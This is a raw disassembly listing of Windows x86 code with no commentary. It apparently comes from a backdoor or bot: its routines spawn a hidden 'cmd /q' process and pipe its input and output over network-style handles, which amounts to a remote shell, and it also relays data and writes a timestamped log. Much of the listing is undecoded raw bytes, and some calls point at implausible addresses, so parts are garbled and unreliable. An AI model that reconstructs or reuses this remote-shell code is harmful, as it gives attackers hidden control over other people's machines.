loc_410F09:				; CODE XREF: sub_410E26+DEj
		push	esi
		call	sub_41B0B1
		pop	ecx

loc_410F10:				; CODE XREF: sub_410E26+1Dj
		xor	eax, eax
		jmp	short loc_410F1A
; ---------------------------------------------------------------------------

loc_410F14:				; CODE XREF: sub_410E26+ADj
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		mov	eax, esi

loc_410F1A:				; CODE XREF: sub_410E26+ECj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_410E26	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410F1F	proc near		; CODE XREF: sub_410E26+94p

var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	ebx
		push	esi
		push	edi
		push	44h
		pop	edi
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_58]
		push	esi
		push	eax
		mov	[ebp+var_4], esi
		call	sub_41B590
		push	10h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_41B590
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		add	esp, 18h
		mov	[ebp+var_20], eax
		lea	eax, [ebp+var_18]
		mov	[ebp+var_58], edi
		mov	edi, dword_4270F8
		push	esi
		push	1
		push	2
		push	eax
		mov	[ebp+var_54], esi
		mov	[ebp+var_4C], esi
		mov	[ebp+var_50], esi
		mov	[ebp+var_3C], esi
		mov	[ebp+var_40], esi
		mov	[ebp+var_44], esi
		mov	[ebp+var_48], esi
		mov	[ebp+var_28], si
		mov	[ebp+var_24], esi
		mov	[ebp+var_26], si
		mov	[ebp+var_2C], 101h
		mov	[ebp+var_1C], ebx
		call	edi
		push	eax
		push	ebx
		call	edi
		push	eax
		nop
		call	near ptr 26F0B29h
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	esi
		push	esi
		push	esi
		push	1
		push	esi
		push	esi
		push	offset aCmdQ	; "cmd /q"
		push	esi
		call	near ptr 2650C44h
		nop
		test	eax, eax
		jz	short loc_410FDB
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_C]
		imul	eax, 234h
		push	[ebp+var_10]
		mov	esi, [ebp+var_14]
		mov	dword_43DEE8[eax], ecx
		call	near ptr 2650939h
		nop
		jmp	short loc_410FF1
; ---------------------------------------------------------------------------

loc_410FDB:				; CODE XREF: sub_410F1F+9Aj
		nop
		call	near ptr 2670E9Dh
		push	eax
		push	offset unk_4344A4
		call	sub_415220
		mov	esi, [ebp+var_4]
		pop	ecx
		pop	ecx

loc_410FF1:				; CODE XREF: sub_410F1F+BAj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_410F1F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410FF8	proc near		; DATA XREF: sub_410CD5+3Fo

var_1B0		= byte ptr -1B0h
var_C8		= byte ptr -0C8h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1B0h
		push	ebx
		push	esi
		mov	ebx, dword_4270E8
		push	edi
		mov	edi, [ebp+arg_0]
		lea	eax, [ebp+arg_0]
		push	0
		push	eax
		lea	eax, [ebp+var_C8]
		push	0C8h
		push	eax
		push	dword ptr [edi]

loc_411021:				; CODE XREF: sub_410FF8+8Fj
		call	ebx
		test	eax, eax
		jz	short loc_411089
		xor	eax, eax
		xor	dl, dl
		xor	esi, esi
		cmp	[ebp+arg_0], eax
		jbe	short loc_41105C

loc_411032:				; CODE XREF: sub_410FF8+62j
		mov	cl, [ebp+esi+var_C8]
		cmp	cl, 0Ah
		jnz	short loc_41104C
		cmp	dl, 0Dh
		jz	short loc_41104C
		mov	[ebp+eax+var_1B0], 0Dh
		inc	eax

loc_41104C:				; CODE XREF: sub_410FF8+44j
					; sub_410FF8+49j
		mov	[ebp+eax+var_1B0], cl
		inc	eax
		inc	esi
		mov	dl, cl
		cmp	esi, [ebp+arg_0]
		jb	short loc_411032

loc_41105C:				; CODE XREF: sub_410FF8+38j
		push	0
		push	eax
		lea	eax, [ebp+var_1B0]
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4CAFF4
		test	eax, eax
		jle	short loc_411089
		lea	eax, [ebp+arg_0]
		push	0
		push	eax
		lea	eax, [ebp+var_C8]
		push	0C8h
		push	eax
		push	dword ptr [edi]
		jmp	short loc_411021
; ---------------------------------------------------------------------------

loc_411089:				; CODE XREF: sub_410FF8+2Dj
					; sub_410FF8+79j
		mov	esi, dword_42708C
		call	esi
		cmp	eax, 6Dh
		jz	short loc_4110A5
		call	esi
		push	eax
		push	offset dword_4344E4
		call	sub_415220
		pop	ecx
		pop	ecx

loc_4110A5:				; CODE XREF: sub_410FF8+9Cj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_410FF8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4110AA	proc near		; DATA XREF: sub_410CD5+71o

var_DC		= byte ptr -0DCh
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= byte ptr -6
var_5		= byte ptr -5
var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0DCh
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		mov	[ebp+var_10], ebx
		mov	[ebp+var_C], ebx

loc_4110C3:				; CODE XREF: sub_4110AA+39j
					; sub_4110AA+D7j ...
		push	ebx
		lea	eax, [ebp+arg_0+3]
		push	1
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4CAFBC
		test	eax, eax
		jle	loc_4111C8
		cmp	[ebp+var_10], ebx
		jbe	short loc_4110E5
		dec	[ebp+var_10]
		jmp	short loc_4110C3
; ---------------------------------------------------------------------------

loc_4110E5:				; CODE XREF: sub_4110AA+34j
		mov	al, byte ptr [ebp+arg_0+3]
		movsx	ecx, al
		cmp	ecx, 0FFh
		jz	loc_4111A8
		cmp	al, 8
		mov	[ebp+var_C], ebx
		jz	short loc_411155
		cmp	al, 7Fh
		jz	short loc_411155
		cmp	al, 3
		jnz	short loc_411110
		push	ebx
		push	ebx
		nop
		call	near ptr 2770000h
		jmp	short loc_41117C
; ---------------------------------------------------------------------------

loc_411110:				; CODE XREF: sub_4110AA+5Aj
		cmp	al, 15h
		jnz	short loc_411132
		xor	esi, esi
		mov	[ebp+var_8], 20h
		mov	[ebp+var_7], 58h
		mov	[ebp+var_6], 58h
		mov	[ebp+var_5], 58h
		mov	[ebp+var_4], 0Dh
		mov	[ebp+var_3], 0Ah
		push	6
		jmp	short loc_411168
; ---------------------------------------------------------------------------

loc_411132:				; CODE XREF: sub_4110AA+68j
		mov	[ebp+esi+var_DC], al
		inc	esi
		push	1
		cmp	al, 0Dh
		mov	[ebp+var_8], al
		pop	ecx
		jnz	short loc_411169
		mov	[ebp+esi+var_DC], 0Ah
		mov	[ebp+var_7], 0Ah
		inc	esi
		push	2
		jmp	short loc_411168
; ---------------------------------------------------------------------------

loc_411155:				; CODE XREF: sub_4110AA+52j
					; sub_4110AA+56j
		cmp	esi, ebx
		jbe	short loc_41117F
		dec	esi
		mov	[ebp+var_8], 8
		mov	[ebp+var_7], 20h
		mov	[ebp+var_6], 8
		push	3

loc_411168:				; CODE XREF: sub_4110AA+86j
					; sub_4110AA+A9j
		pop	ecx

loc_411169:				; CODE XREF: sub_4110AA+98j
		push	ebx
		lea	eax, [ebp+var_8]
		push	ecx
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4CAFF4
		test	eax, eax
		jle	short loc_4111C8

loc_41117C:				; CODE XREF: sub_4110AA+64j
		mov	al, byte ptr [ebp+arg_0+3]

loc_41117F:				; CODE XREF: sub_4110AA+ADj
		cmp	al, 0Dh
		jnz	loc_4110C3
		lea	eax, [ebp+var_14]
		push	ebx
		push	eax
		lea	eax, [ebp+var_DC]
		push	esi
		push	eax
		push	dword ptr [edi+4]
		nop
		call	near ptr 26E0000h
		test	eax, eax
		jz	short loc_4111C8
		xor	esi, esi
		jmp	loc_4110C3
; ---------------------------------------------------------------------------

loc_4111A8:				; CODE XREF: sub_4110AA+47j
		cmp	[ebp+var_C], ebx
		jnz	short loc_4111B9
		mov	[ebp+var_C], 1
		jmp	loc_4110C3
; ---------------------------------------------------------------------------

loc_4111B9:				; CODE XREF: sub_4110AA+101j
		mov	[ebp+var_10], 0Ah
		mov	[ebp+var_C], ebx
		jmp	loc_4110C3
; ---------------------------------------------------------------------------

loc_4111C8:				; CODE XREF: sub_4110AA+2Bj
					; sub_4110AA+D0j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4110AA	endp

; ---------------------------------------------------------------------------
byte_4111CD	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+2C07o
		dd 2D4EC81h, 458B0000h,	57565308h, 0F08B106Ah, 2CBD8D5Bh
		dd 6AFFFFFFh, 0FC5D892Ch, 6AA5F359h, 5FF63301h,	0A8B889h
		dd 8D530000h, 5056EC45h, 0A38BE8h, 0CC48300h, 0EC45C766h
		dd 75FF0002h, 0A415FFC0h, 6A004CAFh, 26A5706h, 0EE458966h
		dd 0FFF07589h, 4CB02415h, 8BF88B00h, 0C069C445h, 234h
		dd 0ECB88953h, 8D0043DEh, 5750EC45h, 0AFD015FFh, 0C085004Ch
		dd 121850Fh, 0A6A0000h,	0CC15FF57h, 85004CAFh, 10850FC0h
		dd 0FF000001h, 0B5FFC075h, 0FFFFFF2Ch, 0FF99A2E8h, 8D5059FFh
		dd 0FFFD2C85h, 0B8EC68FFh, 0E8500042h, 0A606h, 3910C483h
		dd 2075D075h, 2C858D56h, 0FFFFFFFDh, 8D50CC75h,	0FFFF3085h
		dd 0B5FF50FFh, 0FFFFFF2Ch, 0FF87CDE8h, 14C483FFh, 0FD2C858Dh
		dd 0E850FFFFh, 3EF8h, 0FC458D59h, 0DC458D50h, 15FF5750h
		dd 4CB038h, 8BC475FFh, 45B70FD8h, 758950DEh, 0E075FFD8h
		dd 0B03015FFh, 8D50004Ch, 0FFFD2C85h, 459068FFh, 0E8500043h
		dd 0A59Ah, 2C858D53h, 6AFFFFFDh, 0FBE85019h, 89FFFF9Dh
		dd 0C069C845h, 234h, 83C44D8Bh,	888920C4h, 43DEE4h, 5008458Dh
		dd 0FF2C858Dh, 5056FFFFh, 4113D268h, 0E8565600h, 225F2DCh
		dd 0C84D8B90h, 234C969h, 0C63B0000h, 0DEF48189h, 13740043h
		dd 0FD87539h, 0FFFF6385h, 90056AFFh, 25F233E8h,	0E8EDEB02h
		dd 225FB49h, 858D5090h,	0FFFFFD2Ch, 43455468h, 1FE85000h
		dd 830000A5h, 39E90CC4h, 57FFFFFFh, 0B03C15FFh,	75FF004Ch
		dd 2C858DC0h, 68FFFFFDh, 434520h, 0A4FCE850h, 0C4830000h
		dd 0D075390Ch, 8D562075h, 0FFFD2C85h, 0CC75FFFFh, 30858D50h
		dd 50FFFFFFh, 0FF2CB5FFh, 0C3E8FFFFh, 83FFFF86h, 858D14C4h
		dd 0FFFFFD2Ch, 3DEEE850h, 75FF0000h, 0A04CE8C4h, 5959FFFFh
		dd 31E89056h, 5F022BECh, 8B555B5Eh, 0D4EC81ECh,	8B000005h
		dd 56530845h, 8B2C6A57h, 0BD8D59F0h, 0FFFFFF38h, 758BA5F3h
		dd 89016AD4h, 0F6690875h, 234h,	0ECB68D5Fh, 890043DEh
		dd 0ACB8h, 8BDB3300h, 0F845C706h, 5, 0FA308589h, 458DFFFFh
		dd 8D5350F8h, 0FFFA2C85h, 535053FFh, 89FC5D89h,	0FFFA2CBDh
		dd 8C15FFFFh, 85004CAFh, 0FF1875C0h, 3C15FF36h,	0FF004CB0h
		dd 0C7E80875h, 59FFFF9Fh, 0ADE89053h, 53022BEBh, 0FB30858Dh
		dd 868FFFFh, 50000004h,	15FF36FFh, 4CAFBCh, 187FC085h
		dd 15FF36FFh, 4CB03Ch, 0E80875FFh, 0FFFF9F96h, 0E8905359h
		dd 22BEB7Ch, 0FB30BD80h, 0F04FFFFh, 1ED85h, 31BD8000h
		dd 1FFFFFBh, 1E0850Fh, 5D380000h, 8D7774BCh, 8D50BC45h
		dd 0FFFB3885h, 0BDE850FFh, 590000ABh, 7459C085h, 0BC458D61h
		dd 38858D50h, 50FFFFFBh, 43465868h, 3D52E800h, 680000h
		dd 8D000004h, 0FFFB3885h, 885053FFh, 0FFFB309Dh, 3185C6FFh
		dd 5DFFFFFBh, 0A0A3E8h,	18C48300h, 0FB30858Dh, 6A53FFFFh
		dd 36FF5008h, 0AFF415FFh, 36FF004Ch, 0B03C15FFh, 75FF004Ch
		dd 9F00E808h, 5359FFFFh, 0EAE6E890h, 106A022Bh,	53E8458Dh
		dd 0A06AE850h, 8B660000h, 0FFFB3285h, 0CC483FFh, 0EA458966h
		dd 0FB34858Bh, 66AFFFFh, 66026A57h, 2E845C7h, 0EC458900h
		dd 0B02415FFh, 0F88B004Ch, 75FFFF83h, 3815FF5Dh, 50004CAFh
		dd 43461868h, 3CBAE800h, 680000h, 8D000004h, 0FFFB3885h
		dd 885053FFh, 0FFFB309Dh, 3185C6FFh, 5BFFFFFBh,	0A00BE8h
		dd 14C48300h, 0FB30858Dh, 6A53FFFFh, 36FF5008h,	0AFF415FFh
		dd 36FF004Ch, 0B03C15FFh, 75FF004Ch, 9E68E808h,	5359FFFFh
		dd 2BEA4FE8h, 458D9002h, 50106AE8h, 4C15FF57h, 83004CAFh
		dd 5D75FFF8h, 0AF3815FFh, 6850004Ch, 4345D4h, 3C4BE8h
		dd 4006800h, 858D0000h,	0FFFFFB38h, 9D885053h, 0FFFFFB30h
		dd 0FB3185C6h, 0E85BFFFFh, 9F9Ch, 8D14C483h, 0FFFB3085h
		dd 86A53FFh, 0FF36FF50h, 4CAFF415h, 0FF36FF00h,	4CB03C15h
		dd 875FF00h, 0FF9DF9E8h, 905359FFh, 2BE9DFE8h, 4006802h
		dd 858D0000h, 0FFFFFB38h, 9D885053h, 0FFFFFB30h, 0FB3185C6h
		dd 0E85AFFFFh, 9F50h, 8D0CC483h, 0FFFB3085h, 86A53FFh
		dd 0FF36FF50h, 4CAFF415h, 5736FF00h, 39E8h, 57595900h
		dd 0B03C15FFh, 36FF004Ch, 0B03C15FFh, 75FF004Ch, 9D9CE808h
		dd 5359FFFFh, 0E982E890h, 36FF022Bh, 0B03C15FFh, 75FF004Ch
		dd 9D84E808h, 5359FFFFh, 0E96AE890h
; ---------------------------------------------------------------------------
		sub	eax, [edx]
		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	ebx
		mov	ebx, [ebp+0Ch]
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, 400h

loc_4116AC:				; CODE XREF: ___:0041175Bj
					; ___:0041178Bj
		mov	[ebp-100h], ebx
		mov	dword ptr [ebp-104h], 1
		xor	ecx, ecx
		lea	eax, [ebp-100h]

loc_4116C4:				; CODE XREF: ___:004116D2j
		mov	edx, [ebp+8]
		cmp	[eax], edx
		jz	short loc_4116D4
		inc	ecx
		add	eax, 4
		cmp	ecx, 1
		jb	short loc_4116C4

loc_4116D4:				; CODE XREF: ___:004116C9j
		cmp	ecx, 1
		jnz	short loc_4116E9
		mov	[ebp-0FCh], edx
		mov	dword ptr [ebp-104h], 2

loc_4116E9:				; CODE XREF: ___:004116D7j
		push	esi
		lea	eax, [ebp-504h]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp-104h]
		push	edi
		push	edi
		push	edi
		push	eax
		push	edi
		call	dword_4CAF8C
		lea	eax, [ebp-104h]
		push	eax
		push	ebx
		call	dword_4CAE90
		test	eax, eax
		jz	short loc_411749
		push	edi
		lea	eax, [ebp-504h]
		push	esi
		push	eax
		push	ebx
		call	dword_4CAFBC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_411791
		push	edi
		push	eax
		lea	eax, [ebp-504h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CAFF4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_411791

loc_411749:				; CODE XREF: ___:0041171Bj
		lea	eax, [ebp-104h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CAE90
		test	eax, eax
		jz	loc_4116AC
		push	edi
		lea	eax, [ebp-504h]
		push	esi
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CAFBC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_411791
		push	edi
		push	eax
		lea	eax, [ebp-504h]
		push	eax
		push	ebx
		call	dword_4CAFF4
		cmp	eax, 0FFFFFFFFh
		jnz	loc_4116AC

loc_411791:				; CODE XREF: ___:00411730j
					; ___:00411747j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
word_411796	dw 8B55h		; DATA XREF: sub_401ACD+210Do
					; sub_40BACD+106o
		dd 7CEC81ECh, 8B000008h, 56530855h, 33016A57h, 0A9B958DBh
		dd 8B000000h, 8CBD8DF2h, 53FFFFFCh, 0A5F3026Ah,	0FE9C85FFh
		dd 26AFFFFh, 89F04589h,	4589EC45h, 0A08289F8h, 0FF000002h
		dd 4CB02415h, 83F08B00h, 5675FFFEh, 19068h, 95E89000h
		dd 390225EDh, 0FFFF289Dh, 532375FFh, 0F888858Dh, 0B5FFFFFFh
		dd 0FFFFFF24h, 0A4858D50h, 50FFFFFEh, 0FC8CB5FFh, 5FE8FFFFh
		dd 83FFFF82h, 858D14C4h, 0FFFFF888h, 398AE850h,	0B5FF0000h
		dd 0FFFFFE98h, 0FF9BE5E8h, 535959FFh, 0E7CAE890h, 458D022Bh
		dd 50046AF0h, 0FFFFBFh,	57046A00h, 8415FF56h, 8D004CAFh
		dd 46AEC45h, 57FB6A50h,	8415FF56h, 8B004CAFh, 0FFFE9885h
		dd 69106AFFh, 234C0h, 0B0895300h, 43DEECh, 50D4458Dh, 9D17E8h
		dd 0CC48300h, 0D445C766h, 0B5FF0002h, 0FFFFFEA0h, 0AFA415FFh
		dd 8966004Ch, 458DD645h, 50106AD4h, 0D85D8956h,	0AFD015FFh
		dd 0F883004Ch, 681975FFh, 1388h, 0ECCEE890h, 8DFF0225h
		dd 0FFFFFE9Ch, 0E90875FFh, 347h, 0FC90858Dh, 6868FFFFh
		dd 50004290h, 9BF1E8h, 0C33B5900h, 0FC458959h, 90684C75h
		dd 90000001h, 25EC9BE8h, 858D5302h, 0FFFFF888h,	0FF24B5FFh
		dd 8D50FFFFh, 0FFFEA485h, 0B5FF50FFh, 0FFFFFC8Ch, 0FF816DE8h
		dd 88858DFFh, 50FFFFF8h, 389BE8h, 98B5FF00h, 0E8FFFFFEh
		dd 0FFFF9AF6h, 531CC483h, 0E6DAE890h, 7D8B022Bh, 0A09F3908h
		dd 0F000002h, 29584h, 80BF00h, 858D0000h, 0FFFFFF30h, 0C7505357h
		dd 5E445h, 45C70000h, 1388E8h, 88B58900h, 0C7FFFFF7h, 0FFF78485h
		dd 1FFh, 9C2AE800h, 0C4830000h,	0E4458D0Ch, 858D5350h
		dd 0FFFFF784h, 0FF535053h, 4CAF8C15h, 0FC08500h, 2398Eh
		dd 0D158A000h, 0CF8B0043h, 0FA888588h, 0C033FFFFh, 0FA89BD8Dh
		dd 45C7FFFFh, 10F4h, 66ABF300h,	458DAAABh, 458D50F4h, 8D5350C4h
		dd 0FFFF3085h, 8068FFh,	56500000h, 0AF7C15FFh, 75FF004Ch
		dd 0F84589C8h, 0B03015FFh, 8D50004Ch, 0E850B045h, 9EAEh
		dd 0FF309D38h, 5959FFFFh, 1C2850Fh, 0BD800000h,	0FFFFFF31h
		dd 0BB850F01h, 8D000000h, 0FFFD9485h, 0E1E850FFh, 53000095h
		dd 0FC75FF53h, 0B7E3E8h, 0FC75FF00h, 0FA8C858Dh, 9D88FFFFh
		dd 0FFFFFA88h, 0FA8985C6h, 6803FFFFh, 200h, 8850016Ah
		dd 0FFFA8A9Dh, 8B85C6FFh, 1FFFFFAh, 96E1E8h, 20C48300h
		dd 89C44D8Dh, 0C083F845h, 0F475FF04h, 8D505351h, 0FFFA8885h
		dd 0FF5650FFh, 4CB00815h, 0B0458D00h, 88858D50h, 68FFFFF8h
		dd 4346C4h, 9E18E850h, 0C4830000h, 289D390Ch, 75FFFFFFh
		dd 858D5323h, 0FFFFF888h, 0FF24B5FFh, 8D50FFFFh, 0FFFEA485h
		dd 0B5FF50FFh, 0FFFFFC8Ch, 0FF7FD9E8h, 14C483FFh, 0F888858Dh
		dd 0E850FFFFh, 3704h, 110E959h,	0BD800000h, 0FFFFFF31h
		dd 0ED850F04h, 8A000000h, 0FFFF338Dh, 32858AFFh, 80FFFFFFh
		dd 9D88FFF9h, 0FFFFFA88h, 0FA8985C6h, 7503FFFFh, 32C0FE12h
		dd 8A8588C9h, 88FFFFFAh, 0FFFA8B9Dh, 0FE0EEBFFh, 8A8588C1h
		dd 88FFFFFAh, 0FFFA8B8Dh, 0C0B60FFFh, 0C1C9B60Fh, 0C10308E0h
		dd 200BFh, 9E0C100h, 5053C72Bh,	0E8FC75FFh, 0B6D4h, 8DFC75FFh
		dd 0FFFA8C85h, 16A57FFh, 95F0E850h, 0C4830000h,	8DF88B1Ch
		dd 7D89C445h, 0F475FFF8h, 4478D50h, 858D5053h, 0FFFFFA88h
		dd 15FF5650h, 4CB008h, 6E75FB3Bh, 50B0458Dh, 0F888858Dh
		dd 0A468FFFFh, 50004346h, 9D21E8h, 0CC48300h, 0FF289D39h
		dd 2375FFFFh, 88858D53h, 0FFFFFFF8h, 0FFFF24B5h, 858D50FFh
		dd 0FFFFFEA4h, 8CB5FF50h, 0E8FFFFFCh, 0FFFF7EE2h, 8D14C483h
		dd 0FFF88885h, 0DE850FFh, 0FF000036h, 4CDAAC05h, 16EB5900h
		dd 8DF475FFh, 5350C445h, 9868096Ah, 56004346h, 0B00815FFh
		dd 5D39004Ch, 5F8F0FF8h, 8BFFFFFDh, 0FF56087Dh,	4CB03C15h
		dd 0FC75FF00h, 9482E8h,	9C8DFF00h, 39FFFFFEh, 2A09Fh, 13755900h
		dd 0FE98B5FFh, 1FE8FFFFh, 59FFFF98h, 0E406E853h, 6890022Bh
		dd 3E8h, 25E97BE8h, 0E8579002h,	0FFFFFB8Ah, 0C95B5E5Fh
; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 314h
		lea	eax, [ebp-10h]
		push	esi
		push	eax
		nop
		call	near ptr 277016Eh
		lea	eax, [ebp-114h]
		push	104h
		push	eax
		call	near ptr 2670000h
		nop
		lea	eax, [ebp-114h]
		push	offset asc_434E84 ; "\\"
		push	eax
		call	sub_41BEC0
		lea	eax, [ebp-114h]
		push	offset dword_429118
		push	eax
		call	sub_41BEC0
		lea	eax, [ebp-114h]
		push	offset aAb	; "ab"
		push	eax
		call	sub_41B4C2
		mov	esi, eax
		add	esp, 18h
		test	esi, esi
		jnz	short loc_411C7A
		push	1
		pop	eax
		jmp	short loc_411CF1
; ---------------------------------------------------------------------------

loc_411C7A:				; CODE XREF: ___:00411C73j
		movzx	eax, word ptr [ebp-4]
		push	dword ptr [ebp+8]
		push	eax
		movzx	eax, word ptr [ebp-6]
		push	eax
		movzx	eax, word ptr [ebp-8]
		push	eax
		movzx	eax, word ptr [ebp-10h]
		push	eax
		movzx	eax, word ptr [ebp-0Ah]
		push	eax
		movzx	eax, word ptr [ebp-0Eh]
		push	eax
		push	offset aDDDDDDS	; "[%d-%d-%d %d:%d:%d] %s\r\n"
		push	esi
		call	sub_41BE06
		push	esi
		call	sub_41B05B
		add	esp, 28h
		cmp	dword ptr [ebp+98h], 0
		jnz	short loc_411CEF
		push	dword ptr [ebp+8]
		lea	eax, [ebp-314h]
		push	offset dword_434E54
		push	200h
		push	eax
		call	sub_41B980
		push	0
		lea	eax, [ebp-314h]
		push	dword ptr [ebp+94h]
		push	eax
		lea	eax, [ebp+14h]
		push	eax
		push	dword ptr [ebp+0Ch]
		call	sub_409A72
		add	esp, 24h

loc_411CEF:				; CODE XREF: ___:00411CB6j
		xor	eax, eax

loc_411CF1:				; CODE XREF: ___:00411C78j
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
dword_411CF4	dd 81EC8B55h, 8DCECh, 8458B00h,	83575653h, 0FFF724A5h
					; DATA XREF: sub_401ACD+4508o
		dd 256A00FFh, 0FC6583h,	8DF08B59h, 0FFFF24BDh, 0C7A5F3FFh
		dd 9080h, 100h,	0FFB900h, 0C0330000h, 0F728BD8Dh, 0ABF3FFFFh
		dd 0AF2815FFh, 4D8D004Ch, 513C6AB8h, 0F8458950h, 0AF4015FFh
		dd 0BB004Ch, 6A000002h,	29E89008h, 0FF0225E8h, 4CAF2815h
		dd 0F8453B00h, 4D8D7574h, 513C6AB8h, 0F8458950h, 0AF4015FFh
		dd 458D004Ch, 858D50B8h, 0FFFFFD24h, 24858D50h,	68FFFFFBh
		dd 434EB4h, 9AF8E850h, 0EC810000h, 84h,	0FF24B58Dh, 858DFFFFh
		dd 0FFFFFB24h, 8B59256Ah, 0A5F350FCh, 0FFFE66E8h, 0FC4589FFh
		dd 24858D53h, 6AFFFFFDh, 0D1E85000h, 81000097h,	0A4C4h
		dd 24858D00h, 53FFFFFBh, 0E850006Ah, 97BCh, 0C70CC483h
		dd 46EC0845h, 106A0043h, 0AE7815FFh, 0BF0F004Ch, 8458BF0h
		dd 57FC788Bh, 0AF7015FFh, 0C4F6004Ch, 6A7B7480h, 7815FF14h
		dd 66004CAEh, 1F74C085h, 7EFFFE83h, 40FF831Ah, 0FF83157Eh
		dd 0C7107D5Bh, 0F724BD84h, 1FFFFh, 7FE90000h, 6A000001h
		dd 7815FF14h, 66004CAEh, 1E74C085h, 2E7DF685h, 7E40FF83h
		dd 5BFF8315h, 84C7107Dh, 0FFF724BDh, 2FFh, 154E900h, 0F6850000h
		dd 84C7107Dh, 0FFF724BDh, 3FFh,	140E900h, 84C70000h, 0FFF724BDh
		dd 4FFh, 130E900h, 0B48B0000h, 0FFF724BDh, 0BD848DFFh
		dd 0FFFFF724h, 840FF685h, 11Ah,	8D002083h, 0FFFD2485h
		dd 8FF83FFh, 0E8137550h, 9140h,	2305A480h, 0FFFFFDh, 0F8E959h
		dd 2DE80000h, 3D000091h, 1B9h, 0FF257659h, 4CAF2815h, 0B84D8D00h
		dd 50513C6Ah, 0AF4015FFh, 458D004Ch, 858D50B8h,	0FFFFFD24h
		dd 4E9C6850h, 41EB0043h, 0F0DFF83h, 8F85h, 24858D00h, 50FFFFFDh
		dd 90EBE8h, 59C08500h, 0A8840Fh, 15FF0000h, 4CAF28h, 6AB84D8Dh
		dd 0FF50513Ch, 4CAF4015h, 0B8458D00h, 24858D50h, 50FFFFFDh
		dd 434E8868h, 24858D00h, 50FFFFFBh, 9959E8h, 84EC8100h
		dd 8D000000h, 0FFFF24B5h, 24858DFFh, 6AFFFFFBh,	0FC8B5925h
		dd 0E8A5F350h, 0FFFFFCC7h, 53FC4589h, 0FD24858Dh, 6AFFFFh
		dd 9632E850h, 0C4810000h, 0A4h,	0FB24858Dh, 6A53FFFFh
		dd 1DE85000h, 83000096h, 2EEB0CC4h, 7401FE83h, 3FE8314h
		dd 0FE830F74h, 83057402h, 1A7504FEh, 0EB0875FFh, 8458B07h
		dd 5007C083h, 0FD24858Dh, 0E850FFFFh, 9F1Ch, 45835959h
		dd 7D811408h, 434E1C08h, 278C0F00h, 83FFFFFEh, 0F00FC7Dh
		dd 0FFFD8E84h, 28B5FFFFh, 0E8FFFFFFh, 0FFFF9446h, 0E8006A59h
		dd 22BE02Ch
		db 90h
byte_411FD5	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+412Ao
		dd 102B4B8h, 9B3EE800h,	558B0000h, 6A575608h, 0F28B5801h
		dd 0BD8D256Ah, 0FFFFFF4Ch, 0F8458959h, 8289A5F3h, 90h
		dd 106AF633h, 56E4458Dh, 9582E850h, 0C4830000h,	45C7660Ch
		dd 560002E4h, 0AFA415FFh, 0B5FF004Ch, 0FFFFFF4Ch, 0E6458966h
		dd 0FF8BE2E8h, 0FF5059FFh, 4CAFE415h, 36A5600h,	4589026Ah
		dd 2415FFE8h, 8B004CB0h, 0FFFF83F8h, 75FC7D89h,	3815FF5Dh
		dd 50004CAFh, 0FD4C858Dh, 2468FFFFh, 50004358h,	9821E8h
		dd 0CC48300h, 75D87539h, 858D5620h, 0FFFFFD4Ch,	50D475FFh
		dd 0FF50858Dh, 0FF50FFFFh, 0FFFF4CB5h, 79E8E8FFh, 0C483FFFFh
		dd 4C858D14h, 50FFFFFDh, 3113E8h, 0D075FF00h, 0FF9371E8h
		dd 565959FFh, 0DF56E890h, 458B022Bh, 69106AD0h,	234C0h
		dd 0ECB88900h, 8D0043DEh, 5750E445h, 0AFD015FFh, 0F883004Ch
		dd 0FF6475FFh, 4CAF3815h, 858D5000h, 0FFFFFD4Ch, 4357F868h
